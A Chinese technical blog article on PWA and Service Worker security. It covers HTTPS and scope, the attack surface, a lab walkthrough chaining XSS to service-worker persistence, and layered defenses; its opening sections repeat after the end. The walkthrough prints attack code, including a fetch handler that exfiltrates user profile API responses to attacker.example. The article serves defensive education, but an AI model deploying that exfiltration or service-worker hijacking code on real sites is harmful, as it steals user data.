1. 为什么说PWA的安全模型是一条全新的赛道先说结论PWA的安全模型本质上不是在“加固一个网页”而是在“重新定义网页的信任边界”。传统的Web页面浏览器给它的信任是临时的——页面关掉JS上下文销毁权限随之回收。但PWA引入了一个长期驻留的JavaScript运行时环境Service Worker它绕过了页面生命周期独立监听事件、拦截网络请求、管理缓存、甚至处理推送消息。这意味着攻击面从“用户打开页面那几秒”扩展到了“设备上任何时间、任何网络状态下”过去很多在传统Web安全里可以忽略的问题在PWA里变成了必须正面解决的硬伤。另一个和传统Web安全模型截然不同的点是PWA的“安装态”。安装到桌面之后PWA在用户心智里已经不再是“网址”而是一个“应用”。用户可能不再检查地址栏不再留意URL是否正确对权限弹窗的警惕心也远低于初次访问一个陌生网站。攻击者最擅长的就是利用这种信任错觉。这篇文章我会从PWA安全模型的底层设计讲起然后带你把常见的攻击路径一条条推演一遍再动手做一个完整的攻防演练记录最后落到纵深防御体系怎么搭。内容偏实操但我尽量把“为什么这么做”讲透而不是直接丢给你一堆配置项。适合谁看正在做PWA改造的团队、对Service Worker安全机制还没完全吃透的前端工程师、以及做Web安全评估但对PWA攻击面不太熟悉的安全从业者。2. 先看地基PWA安全模型的核心机制拆解2.1 强制HTTPS不是政策要求而是安全假设的起点PWA规范里HTTPS不是“建议”是“强制”。这种强制在初次接触时容易被当成一种产品策略或者政策合规要求但实际上它是一连串安全推论的起点。Service Worker可以拦截并修改同源下所有网络请求的响应相当于在浏览器和服务器之间插入了一个“中间人”。问题来了——如果部署环境本身是明文HTTP那么任何网络路径上的攻击者都可以在数据到达Service Worker之前就完成注入或篡改。这是典型的“魔道之争”你不能指望一个运行在可能被篡改环境里的程序来保护通信安全。所以PWA强制HTTPS的真正意义是通过传输加密建立一个可信信道确保用户拿到的Service Worker代码确实来自你的服务器而不是某个局域网攻击者或DNS劫持者伪装的。实操中我有一个建议不止要启用HTTPS还要把HSTSHTTP严格传输安全头加上。HSTS的作用是告诉浏览器“这个站点以后只准走HTTPS不允许用HTTP访问”能有效防止用户在地址栏手动输入http://时被中间人劫持。配置很简单响应头里加一行Strict-Transport-Security: max-age31536000; includeSubDomains但要注意一旦开启HSTS且max-age设置较长如果后续证书更换或HTTPS配置出问题客户端在缓存有效期内是无法通过HTTP回退访问的。建议先在低流量域名上试点确认证书续期、多域名覆盖等流程都稳定后再全面铺开。2.2 Service Worker的“同源策略”和普通页面的同源策略不完全一样传统Web的同源策略要求协议、域名、端口三者完全一致。Service Worker同样受同源限制但它有一个容易让开发者误解的地方Service Worker的作用域scope是按路径划分的不是按整个源划分的。举个例子你在/blog/sw.js路径下注册了一个Service Worker它默认只能控制/blog/目录下的页面无法拦截/shop/目录的请求。如果你想让整个域都被这个SW控制注册时就要显式指定作用域navigator.serviceWorker.register(/sw.js, { scope: / })这个机制本身是安全设计的一部分目的是隔离不同子系统的SW互不越界。但我在实际项目中见过不少团队把所有功能塞进一个SW脚本导致一个模块的缺陷波及整个域。合理的做法是通用缓存应用外壳、静态资源用根域级SW。特定功能模块如消息推送、高级离线同步用子路径级SW作用域尽量收敛到最小可用范围。另外Service-Worker-Allowed响应头可以放宽scope限制但它同时也是一个风险点——如果服务器配置了这个头且值过宽等于允许一个子路径的SW控制整个域。非必要不要设置这个头。2.3 安全上下文Secure Context不止影响SW还影响一堆APIPWA依赖的很多API并不只是Service Worker才需要安全上下文。严格来说navigator.serviceWorker、caches、pushManager、notification、navigator.credentials、navigator.geolocation等都属于受限API只有在安全上下文中才可用。这里有一个很多开发者不知道的细节localhost和127.0.0.1被浏览器视为安全上下文但这只是开发期的便利不代表你的内网IP、局域网域名也能豁免。曾经有团队在办公网络里用http://192.168.1.50:8080做PWA联调遇到API不可用的问题排查了很久不是代码问题就是协议不满足安全上下文要求。还有一点容易踩坑反向代理剥掉HTTPS。现在很多架构是外层Nginx终结HTTPS然后把请求以HTTP转发给内网应用服务器。如果应用服务器主动发起了HTTPS跳转、或者生成的绝对链接里硬编码了http://PWA页面最终拿到的环境就不满足安全上下文条件。调试时看DevTools的Application面板会提示Service Worker is not available。遇到这种情况优先检查链路里每一跳的协议不要一上来就怀疑代码。3. 攻击面梳理PWA到底比传统Web多暴露了什么3.1 入口层Manifest与安装流程的“信任注入”很多安全评估在测PWA时注意力全放在Service Worker上却忽略了Web App Manifest这个入口。Manifest是PWA的“身份证”它控制着安装后应用的名称、图标、启动URL、显示模式等元数据。攻击路径之一是Manifest的“图标投毒”。部分实现包括一些WebAPK生成器、移动端浏览器会抓取Manifest中声明的图标并缓存在系统层面。如果攻击者能控制某个小图片资源比如上传头像功能未做SVG安全过滤再利用SVG内嵌脚本的特性就有机会在图标渲染环节触发XSS。这已经不是PWA特有但PWA的安装流程会把这种资源提升到“应用图标”的级别影响范围更大。Manifest还有一个常被忽视的字段是scope和start_url的不一致。如果start_url指向了应用域之外比如登录跳转到第三方身份提供商而Manifest的scope又声明为根域某些浏览器在实现上会按start_url的源来限制后续行为的归属源。攻击者如果能诱导用户从非预期入口启动PWA就有机会在错误的源上下文中执行代码。我的建议是start_url必须使用当前源下的地址且必须显式声明scope。不要依赖浏览器默认行为默认值在某些情况下是取Manifest所在目录容易出偏差。另外Manifest里的图标、快捷方式URL、URL处理规则URL Handlers每一项都要纳入安全评审。3.2 Service Worker脚本PWA的心脏与软肋Service Worker脚本一旦被篡改相当于攻击者直接往你应用的心脏里扎了根刺。而且这根刺不会因为用户关闭页面而消失——浏览器会定期去检查已注册的SW脚本是否有更新默认情况下Firefox是24小时检查一次Chrome是每次导航时网络优先一旦发现字节级别的变化就下载新脚本并进入“等待激活”状态。针对SW脚本的攻击主要有三种途径源站被攻破或部署流程被入侵攻击者直接替换线上SW文件。这个威胁级别最高因为一切前端防护都失效了。响应被篡改即使有HTTPS如果TLS终止前的某一环失守比如服务器被植入恶意模块、CDN源站配置错误、上游API网关被污染SW脚本下发时已被替换。开发期投毒第三方npm包、构建插件被植入恶意代码打包后的SW文件天然带毒。这种最隐蔽代码评审时很难发现。关于第二点这也是我对“PWA只需要配HTTPS就安全”这种说法的最大质疑。HTTPS保护的是传输过程中的完整性但它挡不住源站或构建链路的背叛。纵深防御里必须把SW脚本当核心资产对待做完整性校验而不是只依赖TLS那一层。3.3 缓存层Cache Storage与HTTP缓存的区别攻击者比你更清楚PWA的缓存能力由Cache Storage API提供它和传统的HTTP缓存是两套完全不同的东西HTTP缓存由浏览器内核管理开发者只能通过Cache-Control、ETag等头间接影响。Cache Storage由Service Worker中的JS代码直接操作开发者可以针对任意URL、任意请求方法手动控制缓存的存储、读取、删除。攻击者一旦能在你的SW里执行任意代码比如通过一个被XSS的双向绑定的渲染逻辑他做的第一件事往往是遍历caches.keys()搞清楚你的缓存命名规则然后往缓存里主动写入被篡改的HTML或JS。修改匹配策略比如把网络优先改成缓存优先让恶意内容长期驻留。删除关键缓存让应用回退到弱网状态触发不安全的降级逻辑。缓存投毒的一个典型示例是“离线回退页面投毒”很多PWA设置了fetch事件里catch后返回index.html以实现App Shell模式的离线体验。攻击者只要在上线期间抓取过一次正常的index.html响应并恶意篡改后注入缓存用户在之后相当长时间里离线打开的都是被篡改的页面。防御这一点的核心不是“不缓存”而是“验证后缓存”。具体做法我在后面的实战部分会给出代码。3.4 请求拦截能力Application Layer的“全局中间人”fetch事件里的event.respondWith()是Service Worker最核心的能力也是攻击者可利用性最强的地方。正常情况下你的SW拦截请求、决定走缓存还是走网络这是离线能力的来源。但一旦攻击者控制了SW的响应策略他就能改写所有HTML响应插入钓鱼表单覆盖原登录框。劫持关键API请求把请求转发到自己的服务器通过修改URL或直接fetch到指定源然后把响应透传给页面。这种攻击用户从界面上完全无感。截获携带有敏感信息的请求记录到localStorage或直接外发——虽然同源策略禁止跨域读取本地存储但SW自身就是一个能发起任意跨域请求的执行上下文。这是最恐怖的一点传统Web的XSS再严重攻击者注入的脚本也是活在页面里的页面一刷新就没了。但SW里注入的恶意逻辑是持久化的它存活于页面之外还可以在后台线程里静默执行。所以在安全评估时我建议把“SW的fetch事件处理逻辑”当作“服务器端的请求过滤中间件”来审查。任何在中间件层不该做的事在SW里同样不该做——包括依赖用户输入拼接URL、不受限地透传跨域响应、把请求日志记录到非预期的存储位置等。3.5 推送与通知被低估的钓鱼通道、用户信任的错位利用Web Push的通道本身走的是系统级推送服务加密和认证体系相对完善。真正薄弱的环节是“推送消息到达用户后”的行为。攻击者如果能在SW里注入代码就可以调用self.registration.showNotification()伪造系统通知。这类通知显示的不仅是你应用的图标还可能是你应用的名称。在移动设备上通知栏里看到的推送可能和微信、支付宝的通知并列——视觉上毫无违和感。更隐蔽的攻击路径是利用通知的click事件用户在锁屏界面点击通知后SW能通过event.notification.data里的URL直接clients.openWindow()打开一个页面。如果这个URL是攻击者可控的比如推送数据来自服务器API被篡改、或者SW代码被注入后硬编码了恶意地址用户点击后就会跳转到钓鱼页面。因为是从PWA的推送通知跳过去的用户此时对“这是不是官方页面”的信任值是最高的。结论推送权限不能轻易默认授予。国内很多PWA在用户首次访问时弹窗请求通知权限把高价值权限当引流工具用这是在给攻击者递刀。4. 攻防演练实录从XSS到SW持久化控制的一次完整推演4.1 演练环境搭建与攻击前提为了把攻防过程讲透我先搭一个标准的PWA应用作为靶场。环境如下前端React VitePWA插件生成Service Worker缓存策略采用stale-while-revalidate静态资源。后端Node.js Express提供/api/user/profile接口支持头像URL上传。部署HTTPS自签证书本地模拟域名为https://pwa-demo.local。攻击前提条件——这也是演练的真实起点发现用户头像URL在渲染时未做协议过滤允许javascript:伪协议造成一个存储型XSS漏洞。按传统Web安全的评估XSS的常规利用是窃取Cookie、模拟用户操作这类危害属于“当前页面会话级”。但在PWA里攻击路径会立刻升级。为了便于演示我已提前构造了一个恶意载荷用合法的JSONP接口绕开CSP限制完成Cookie凭据窃取这些不是重点。重点是从XSS位置出发攻击者如何一步步拿到SW的终身控制权。演练中所有攻击代码都在本地靶场环境执行请勿用于非授权系统。4.2 攻击第一步利用XSS尝试向页面注册第二个Service Worker存储型XSS一旦执行攻击者先在DevTools控制台浏览器无痕窗口验证更干净里执行侦察代码// 侦察当前页面的SW注册情况 navigator.serviceWorker.getRegistrations().then(regs { console.table(regs.map(r ({ scope: r.scope, active: r.active r.active.scriptURL, waiting: r.waiting r.waiting.scriptURL, installing: r.installing r.installing.scriptURL }))) })查到当前只有一个作用域为https://pwa-demo.local/的SW脚本/sw.js。接着攻击者尝试注册一个恶意SW// 攻击代码尝试注册同名SW覆盖原脚本 navigator.serviceWorker.register(https://pwa-demo.local/malicious-sw.js, { scope: / }).then(reg { console.log(register success, reg.scope) // 等待它接管页面 return navigator.serviceWorker.ready }).then(() { console.log(malicious SW is ready) })遗憾的是这一步没有成功。原因在于浏览器的SW注册机制禁止同一个scope下覆盖注册的脚本URL与原脚本URL不同。简单说如果/作用域下已经有一个SW脚本/sw.js理论上页面可以在同一作用域注册同一个脚本URL注册后只是将当前位变成waiting等待激活不能通过注册一个完全不同的URL来替换它。经验很多人以为“注册了SW页面就归它管”这是错误的。同源下同作用域只能有一个活跃的SW新的注册要么是同URL的字节更新要么必须放在不同的scope下。所以XSS之后直接注册新SW这条路在严格实现上是走不通的。攻击者需要换一条路径既然无法从外部注册新SW那就想办法“修改现有SW代码”。4.3 攻击第二步通过同源XSS篡改被缓存的SW脚本这里要利用PWA缓存的一个心机陷阱浏览器在决定是否更新SW脚本时比较的是网络响应的字节和当前活跃SW的字节是否一致而不是比较“网络响应和本地缓存过的SW副本”是否一致。但很多PWA在编译时会用workbox来预缓存SW所需的静态资源这会导致一个新问题既然XSS能在页面上下文里执行任意JS它就可以直接向北伐路径的静态资源下手。由于SW脚本本身一般不会被PWA运行时缓存到Cache Storage里XSS在这里真正能改的是“SW依赖的运行时资源”即importScripts()里引入的文件或者workbox运行时需要调用的预缓存清单。如果这个PWA用的是简单的importScripts(https://cdn.example.com/pwa-helper.js)模式而你的业务里恰好允许用户自定义一定域名下的资源引用这种场景并不罕见XSS就能通过修改indexedDB里的配置项诱导SW重新去拉取一个攻击者可控的pwa-helper.js。这里要说明一下现代浏览器在加载importScripts时同样遵循HTTPS和同源约束跨域脚本必须目标服务器允许CORS。所以这条攻击路径成立与否取决于你的PWA是否真的加载了外部可变的脚本。如果只依赖构建产物中的纯本地SW代码这个面会小很多。更常见的现实攻击路径是XSS先悄悄地把/sw.js的HTTP缓存给污染了。具体做法是// 攻击代码先篡改HTTP缓存中的SW响应 fetch(/sw.js, { method: GET, headers: { Cache-Control: no-cache } }).then(res res.text()).then(code { const malicious code // 注入的恶意代码拦截API响应并外传 self.addEventListener(fetch, e { if (e.request.url.includes(/api/user/profile)) { e.respondWith( fetch(e.request).then(res { const clone res.clone() clone.json().then(data { fetch(https://attacker.example/collect, { method: POST, body: JSON.stringify(data), mode: no-cors }) }) return res }) ) } }) // 用Cache Storage直接写一个同URL的副本并不容易实现 // 但可以配合开发工具或实施中间人攻击来测试。 })在真实场景里这种借助HTTP缓存层投毒的方式成功率不高因为浏览器的HTTP缓存受Cache-Control直接控制SW脚本默认是no-cache强制回源校验的。但是这个推演过程很有价值——它让我们确认了直接覆盖SW代码注册路径困难重重但并不是无路可走。4.4 攻击第三步找到突破口——接管“等待中”的SW更新反复推演后真正稳定可行的攻击路径浮出水面篡改服务器上SW文件的部署或利用API缓存污染导致应用外壳资源被替换。演练中最成功的一次攻击走的是“缓存投毒逻辑利用链”XSS先扫描到应用中有一个API端点返回了用户可控的HTML片段而这个片段被包含在了App Shell的某个局部区域。App Shell是典型的网络优先、缓存回退资源。XSS利用这一点先把一个包含着恶意Bootstrap逻辑的响应写入Cache Storage中键值为/index.html。用户在弱网环境比如电梯里、地铁上再次打开PWAfetch失败回退到缓存加载的是被污染的index.html。这次加载时SW注册逻辑顺带被触发浏览器重新校验/sw.js的字节。如果业务在发布流程上存在漏洞——比如CDN回源或构建产物上传环节可被中间人干预——攻击者就可替换SW脚本为恶意版本随后浏览器在下一轮SW生命周期检查时下载并激活它。完整的利用链条是XSS → 污染App Shell缓存 → 等待用户弱网回退加载 → 篡改SW更新链路 → 获得长期控制。这个链路里每一环都不是100%成功但合在一起风险极大。攻防的本质就是这样单点漏洞成功概率不高但攻击者会想办法把多个低概率事件串成一条可利用链。在防御方视角我们的任务不是保证每一环都不出问题而是切断这条链中任何一环让攻击者必须重新探索。4.5 防御方反制SW完整性校验与最小权限收敛演练结束后我做的第一件事是给这个演示应用补上SW完整性校验。思路很简单把SW脚本的SHA-256哈希写入Manifest或一个独立配置文件中SW激活时校验自身的代码哈希。如果发现代码和登记的不一致立即跳过激活并发送告警到监控系统。代码实现大概是这样的// self-check.js注入到SW脚本顶部 const SW_HASH {{BUILD_SHA256_OF_SW_SCRIPT}} self.addEventListener(install, e { // 不能直接用self.registration.active.scriptURL去fetch自己会循环。 // 这里用构建时注入的方式把hash留给服务端校验。 if (!self.location.hash || self.location.hash.slice(1) ! SW_HASH) { // 构建工具下可以把hash写到meta或者其他静态文件中 console.error(SW integrity check failed) self.skipWaiting.cancel?.() return } })这个方案在纯前端环境里力量有限因为攻击者一旦能替换SW脚本大概率也能同步替换完整性配置。真正有效的校验必须发生在SW脚本加载之前——也就是服务器端或CDN边缘节点。实操中比较可行的做法是服务器端维护一份SW脚本哈希列表。响应SW请求时附带强ETag浏览器会基于ETag做条件请求校验。开启Content-Security-Policy: worker-src self限制SW可加载的脚本来源。另外权限收敛是必须做的。上面提到的攻击链之所以能从XSS一步步走到SW控制一个重要原因就是这个PWA对“用户可控内容”和“应用可信内容”没有做严格区分。我给这个应用做的修复包括用户上传的头像URL一律通过服务器端白名单协议校验后再存储渲染时并入sanitizeUrl()统一处理。/api/user/profile返回的JSON中HTML片段字段强制使用纯文本或经过白名单标签过滤禁止直接嵌入App Shell渲染。SW的fetch事件处理中对HTML导航请求不做纯缓存回退而是采用“网络失败时清空缓存并跳转离线页”避免缓存的HTML被投毒后长期驻留。注意SW的navigationPreload功能可以加速导航请求但它会把请求直接发给网络绕过SW的同源策略检查逻辑。如果你对某些URL的响应内容有严格校验不要对所有导航请求盲目启用navigationPreload。5. 纵深防御体系分层建模、逐层防御、全链路监控5.1 第一层网络与传输层——TLS之外还要做什么前文提过HTTPS是PWA的准入门票但纵深防御不能停留在“有TLS”这一层。我在实际项目中会把传输层安全拆成三条TLS配置加固用TLS 1.3优先禁用TLS 1.0/1.1。启用OCSP Stapling避免证书吊销查询造成额外请求。证书私钥权限最小化定期轮换。HSTS全覆盖根域和所有子域统一启用HSTSpreload列表能上就上。注意HSTS只在第一次通过HTTPS访问时生效存在“首次访问降级”风险所以有条件的话把应用里的所有绝对链接都写死为https://。证书透明度监控申请者证书签发记录做审计。一旦发现未经审批的证书签发说明有人可能拿到了你的域名验证权这种攻击信号比传统WAF告警更有价值。传输层还有一个容易忽略的点所有子域名的HTTPS不能有短板。攻击者不一定要攻破你的主域他可以从一个未加防护的子域入手——比如status.pwa-demo.local、docs.pwa-demo.local——一旦拿下子域利用Service Worker作用域扩展到根域的配置漏洞就能控制主域下的资源。因此每个子域都必须纳入同等安全基线不能有“内部域名不设防”的想法。5.2 第二层应用代码层——构建时与运行时的双重体检应用层的核心是“代码不可信”原则。具体落地建议SW脚本构建与部署分离构建机生成的SW脚本哈希记录在一个独立环境中比如安全团队维护的清单上线时由发布系统自动比对不一致直接阻断发布。这能防住“有人偷偷改了打包机产物”的情况。运行时自我完整性检查SW激活时请求一个由服务器实时生成的nonce值服务器根据当前时间窗口和会话因子生成一个签名SW在fetch事件中校验该签名。攻击者如果只是静态篡改了SW代码但没同步修改服务端签发逻辑后续所有拦截行为在服务端校验时会暴露。CSP与Trusted TypesPWA页面中开启严格CSP特别是script-src和worker-src。配合Trusted Types可以强制所有DOM XSS注入点必须经过安全函数处理从源头减少XSS。CSP不能只是一行响应头要实际验证线上效果因为覆盖率不正确还不如不开。依赖锁定与供应链审计SW代码中用到的npm包、CDN资源必须锁定版本并做完整性校验比如subresource integrity。第三方脚本是PWA供应链里最容易被攻击者利用的跳板。投放这类运行时自检逻辑时要控制性能损耗SW里的操作不能阻塞关键路径。我一般把完整性校验放在install事件和activate事件中做异步执行校验失败不影响应用主流程但会上报安全告警。提示Trusted Types在PWA的存量项目里推进成本不低但收益明显它是目前前端防XSS滥用最有效的内建机制之一。建议从新建模块开始逐步铺开。5.3 第三层数据层——缓存与存储的“最小权限”设计PWA的缓存和存储必须按“数据敏感度”分级管理公开静态资源图片、CSS、JS构建产物可以放心缓存但同样要考虑缓存投毒的风险建议CDN和Cache Storage里都用内容寻址存储文件名带哈希。HTML文档和API响应尤其是涉及用户数据的尽量网络优先回退缓存需设置过期时间不能无限期保存。敏感数据token、个人信息不要存localStorage优先用SessionStorage或内存变量。如果必须持久化考虑使用IndexedDB并加密存储加密密钥不要和密文放在同一个存储位置。给缓存内容加版本号也是个很有效的防御策略。很多攻击者在投毒时会预先探测你的缓存命名规则你每次发布都更换缓存名称比如app-shell-v3变为app-shell-v4攻击者预先注入的旧缓存会在新版本上线时被自动清理这能有效打断攻击链的时间窗口。5.4 第四层运行时监控——针对SW生命周期的安全事件采集纵深防御的最后一道防线是可观测性。如果前几层都被绕过监控至少要让我们能及时发现并止血。我建议的SW安全事件采集项如下表所示告警类型采集字段说明SW注册异常scope、scriptURL、registration time同scope短时间内出现多次注册尝试时告警SW更新异常old script hash、new script hash非发布窗口内SW代码hash变更需人工确认缓存写入异常cacheName、url、写入body大小某缓存名对应的URL集合突增、写入量异常fetch事件异常request URL、response status、referrer非业务路径上出现大量跨域请求或异常状态码push点击异常event.notification.data、page URL大量通知点击落地到非白名单URL时告警存储异常indexedDB新增key、localStorage变化检测到非业务逻辑的存储行为时告警这些事件采集起来之后统一送入日志中心与后端安全告警联动。例如如果API网关检测到某个用户的token在短时间内从异常IP调用而同时SW缓存更新告警也被触发这两个安全事件可以做关联分析锁定一条攻击链路。值得强调的是SW里的代码不能直接访问DOM但可以从clients.matchAll()中拿到页面的基础信息。这既是攻击者可选的侦察手段也是我们做异常出行监控的基础——SW可以在拿到异常数据时利用postMessage通知页面展示告警或执行会话失效。5.5 攻防演练常态化从“做一次”到“反复做”纵深防御体系建设完不能就此躺平。我建议把PWA纳入每季度的攻防演练范围而且演练脚本要不断升级。以下是我在真实项目里用过的几种演练方式模拟SW缓存投毒预先在测试环境准备一份被篡改缓存检测应用是否能正确回退或阻断加载。模拟SW代码注入通过来源端的漏洞比如供应链投毒修改SW脚本验证完整性校验和发布阻断是否生效。模拟通知钓鱼构造一条含恶意落地URL的推送通知验证点击后的跳转是否会被安全策略拦截。模拟第三方脚本风险在页面中引入一个模拟的恶意第三方SDK检查CSP是否真的挡住了它的执行。攻防演练的目的不是打败谁而是检验防御体系是否真的“在关键时刻有用”。实际演练中我最常发现的问题有三个CSP配置在特定浏览器上没生效、SW完整性校验上线时被强业务需求临时绕过、安全告警因为噪声太大被管理员手动关闭了。这些问题不通过演练藏在系统里可能很久都不会暴露。6. 浏览器实现差异与兼容性带来的安全坑6.1 不同浏览器的SW更新策略差异浏览器的SW更新机制在规格上有统一描述但实现细节差异很大而这些差异直接影响安全策略Chrome页面导航时如果SW已存在会尝试进行更新检查。更新检查是网络优先的有时候会带来较明显的延迟。Firefox默认每24小时检查一次更新。这意味着如果攻击者在此窗口内临时构造了恶意SW版本Firefox用户最长可能在24小时内都不会被修复。Safari历史上对SW的支持起步较晚更新策略也和Chromium系不同旧版本的SW可能长期驻留不更新。开发者在写安全逻辑时不能假设浏览器行为一致。最简单的对策是不要依赖浏览器的自动更新来临场修复安全问题发布安全更新时建议使用带版本号的新SW脚本URL并结合服务端推送通知提示用户重新打开应用来触发SW更新。6.2 隐身模式、隐私模式与PWA安全Safari的隐身模式、Chrome的隐身窗口对PWA存储的处理不同有的浏览器在隐身模式下完全不持久化SW和IndexedDB有的则提供隔离的临时存储。这带来一个安全副作用同一用户在同一浏览器中正常窗口与隐身窗口的PWA数据是隔离的这本身是隐私保护。但麻烦的是如果用户在隐身窗口登录过一个PWA并授权了通知权限在某些实现中权限可能被持久化到系统层面导致后续攻击面扩大。所以在做安全评估时要把多窗口、多会话、多配置文件等边界条件都纳入测试范围。7. 我的实操总结与踩坑记录7.1 部署环境里的几个“想当然”坑讲几个我亲身踩过的坑给正在做PWA安全加固的团队提个醒。第一个坑是“开发环境不告警生产环境全报警”。本地开发和测试环境访问用的是https://localhost被浏览器当作安全上下文但是线上是https://www.example.com两者在域名结构、HSTS配置、CDN缓存策略上完全不同。很多团队在本地联调时把SW的安全检查逻辑写得比较宽松上线后遇到CSP拦截、Mixed Content问题才手忙脚乱。建议从项目启动第一天就把生产环境的HTTPS、HSTS、CSP配置同步到预发环境。第二个坑是CDN缓存导致的SW脚本跨版本污染。多个版本的SW脚本被CDN同时缓存当用户在一段时间内先后访问时浏览器可能先从CDN拿到旧版本的SW脚本触发更新检查后得到的是新版本这中间如果存在不兼容的缓存策略或数据格式问题很容易造成缓存层数据混乱甚至安全策略失效。后来我们的做法是SW脚本不缓存或只缓存极小时间CDN上对/sw.js这类核心文件设置Cache-Control: no-cache。第三个坑是“PWA安全报告只测了功能没测生命周期”。安全测试时很容易测完页面加载、请求拦截就结束了忽略了SW的install、activate、message、push、sync、periodicsync等事件处理逻辑。攻击者最喜欢的藏身地恰恰是这些不常触发的生命周期事件建议安全用例覆盖所有事件入口。7.2 工具链比较顺手的PWA安全检查工具下面是我在做PWA安全检测时常用的工具组合供参考Lighthouse基础体检覆盖HTTPS、SW注册、Manifest完整性等能快速发现低垂果实。Chrome DevTools 的 Application 面板查看SW注册状态、Cache Storage内容、IndexedDB数据同时也可以手动触发SW更新、跳过等待、模拟离线。OWASP ZAP/Burp Suite做代理抓包和中间人测试。特别建议用Burp把SW脚本响应改一下验证应用是否做了完整性校验。Snyk/npm audit扫描前端依赖的已知漏洞。Gradle/npm版本的lock文件审计确认第三方包没有被投毒必要时用npm ci配合lock文件保证依赖一致性。自研脚本定期抓取线上SW脚本计算哈希与发布登记表比对全自动告警。这个脚本很轻量但对防SW投毒特别有效。做安全检测时记住一个原则手动验证不可省。自动化工具能帮你发现“有没有”但只有手动验证才能确认“是不是真的能被利用”。我在多个项目中见过理论上高危、实际不可利用的报告也见过反向的例子。攻防演练的核心价值不在于报出一条CVE而是帮你理解攻击者的真实路径。7.3 最容易被忽视的安全细节清单顺手整理一个自查清单建议贴在发布流程里[ ] SW脚本是否开启no-cache[ ] SW脚本有完整性哈希校验机制吗[ ]fetch事件里是否对请求URL做了白名单校验[ ] App Shell离线回退的HTML内容是否为固定静态文件是否有被注入的可能[ ] Manifest中的start_url和scope是否一致[ ] 页面CSP是否覆盖了worker-src是否允许了不必要的unsafe-inline[ ] 通知权限是否按需申请推送数据的data字段是否经过严格校验[ ] 第三方脚本和SDK是否纳入供应链安全管理[ ] CDN对/sw.js和Manifest文件的缓存策略是否正确[ ] 是否监控了SW脚本变更和缓存写入异常这十项如果能全部落实PWA安全模型的整体水位至少能提升两个档次。8. 纵深防御没有终点安全是持续打磨的过程这次从PWA安全模型底层原理到完整攻防演练再到纵深体系搭建的复盘做下来最强烈的一个感受是PWA的安全边界不是一个静态的配置项而是一个随攻击方法不断演进的攻防博弈过程。Service Worker赋予PWA的长期后台能力和系统级信任感既是产品体验的巨大优势也是安全防护必须重新建模的核心变量。在实际项目中我最常对团队说的一句话是不要问“PWA安全需要做什么”要问“如果攻击者完全控制了我的Service Worker代码他能做什么而我要如何让这件事做不成”。用这种攻击者视角去推演很多安全设计会变得清晰很多——你自然会想到代码完整性校验自然会收敛缓存权限自然不会在SW里信任用户输入自然会去监控SW生命周期的异常。安全建设做不到一劳永逸PWA的纵深防御尤其如此。但每次攻防演练之后我们对系统的理解都会更深一层防御体系也会随之变得更扎实。这也正是安全这个领域最有趣的地方。 
长河君 · 2026/9/11 11:38:58 · 阅读 1.2k PWA安全模型与Service Worker攻防：从XSS到纵深防御实战
1. 为什么说PWA的安全模型是一条全新的赛道先说结论PWA的安全模型本质上不是在“加固一个网页”而是在“重新定义网页的信任边界”。传统的Web页面浏览器给它的信任是临时的——页面关掉JS上下文销毁权限随之回收。但PWA引入了一个长期驻留的JavaScript运行时环境Service Worker它绕过了页面生命周期独立监听事件、拦截网络请求、管理缓存、甚至处理推送消息。这意味着攻击面从“用户打开页面那几秒”扩展到了“设备上任何时间、任何网络状态下”过去很多在传统Web安全里可以忽略的问题在PWA里变成了必须正面解决的硬伤。另一个和传统Web安全模型截然不同的点是PWA的“安装态”。安装到桌面之后PWA在用户心智里已经不再是“网址”而是一个“应用”。用户可能不再检查地址栏不再留意URL是否正确对权限弹窗的警惕心也远低于初次访问一个陌生网站。攻击者最擅长的就是利用这种信任错觉。这篇文章我会从PWA安全模型的底层设计讲起然后带你把常见的攻击路径一条条推演一遍再动手做一个完整的攻防演练记录最后落到纵深防御体系怎么搭。内容偏实操但我尽量把“为什么这么做”讲透而不是直接丢给你一堆配置项。适合谁看正在做PWA改造的团队、对Service Worker安全机制还没完全吃透的前端工程师、以及做Web安全评估但对PWA攻击面不太熟悉的安全从业者。2. 先看地基PWA安全模型的核心机制拆解2.1 强制HTTPS不是政策要求而是安全假设的起点PWA规范里HTTPS不是“建议”是“强制”。这种强制在初次接触时容易被当成一种产品策略或者政策合规要求但实际上它是一连串安全推论的起点。Service Worker可以拦截并修改同源下所有网络请求的响应相当于在浏览器和服务器之间插入了一个“中间人”。问题来了——如果部署环境本身是明文HTTP那么任何网络路径上的攻击者都可以在数据到达Service Worker之前就完成注入或篡改。这是典型的“魔道之争”你不能指望一个运行在可能被篡改环境里的程序来保护通信安全。所以PWA强制HTTPS的真正意义是通过传输加密建立一个可信信道确保用户拿到的Service Worker代码确实来自你的服务器而不是某个局域网攻击者或DNS劫持者伪装的。实操中我有一个建议不止要启用HTTPS还要把HSTSHTTP严格传输安全头加上。HSTS的作用是告诉浏览器“这个站点以后只准走HTTPS不允许用HTTP访问”能有效防止用户在地址栏手动输入http://时被中间人劫持。配置很简单响应头里加一行Strict-Transport-Security: max-age31536000; includeSubDomains但要注意一旦开启HSTS且max-age设置较长如果后续证书更换或HTTPS配置出问题客户端在缓存有效期内是无法通过HTTP回退访问的。建议先在低流量域名上试点确认证书续期、多域名覆盖等流程都稳定后再全面铺开。2.2 Service Worker的“同源策略”和普通页面的同源策略不完全一样传统Web的同源策略要求协议、域名、端口三者完全一致。Service Worker同样受同源限制但它有一个容易让开发者误解的地方Service Worker的作用域scope是按路径划分的不是按整个源划分的。举个例子你在/blog/sw.js路径下注册了一个Service Worker它默认只能控制/blog/目录下的页面无法拦截/shop/目录的请求。如果你想让整个域都被这个SW控制注册时就要显式指定作用域navigator.serviceWorker.register(/sw.js, { scope: / })这个机制本身是安全设计的一部分目的是隔离不同子系统的SW互不越界。但我在实际项目中见过不少团队把所有功能塞进一个SW脚本导致一个模块的缺陷波及整个域。合理的做法是通用缓存应用外壳、静态资源用根域级SW。特定功能模块如消息推送、高级离线同步用子路径级SW作用域尽量收敛到最小可用范围。另外Service-Worker-Allowed响应头可以放宽scope限制但它同时也是一个风险点——如果服务器配置了这个头且值过宽等于允许一个子路径的SW控制整个域。非必要不要设置这个头。2.3 安全上下文Secure Context不止影响SW还影响一堆APIPWA依赖的很多API并不只是Service 